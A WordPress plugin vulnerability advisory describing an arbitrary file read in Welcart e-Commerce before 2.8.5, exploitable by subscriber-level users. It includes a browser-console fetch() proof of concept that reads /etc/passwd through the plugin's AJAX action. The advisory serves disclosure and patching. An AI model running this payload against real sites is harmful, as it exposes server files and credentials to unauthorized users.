WordPress Plugin Vulnerabilities

Welcart e-Commerce < 2.8.5 - Subscriber+ Arbitrary File Access

Description

The plugin does not validate user input before using it to output the content of a file via an AJAX action available to any authenticated users, which could allow users with a role as low as subscriber to read arbitrary files on the server.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wel_check_progress_ajax&progressfile=/etc/passwd',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

Fixed in 2.8.5

References

Classification

Type
FILE DOWNLOAD
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
WPScan
Verified
Yes

Timeline

Publicly Published
2022-12-05 (about 1 years ago)
Added
2022-12-06 (about 1 years ago)
Last Updated
2022-12-06 (about 1 years ago)

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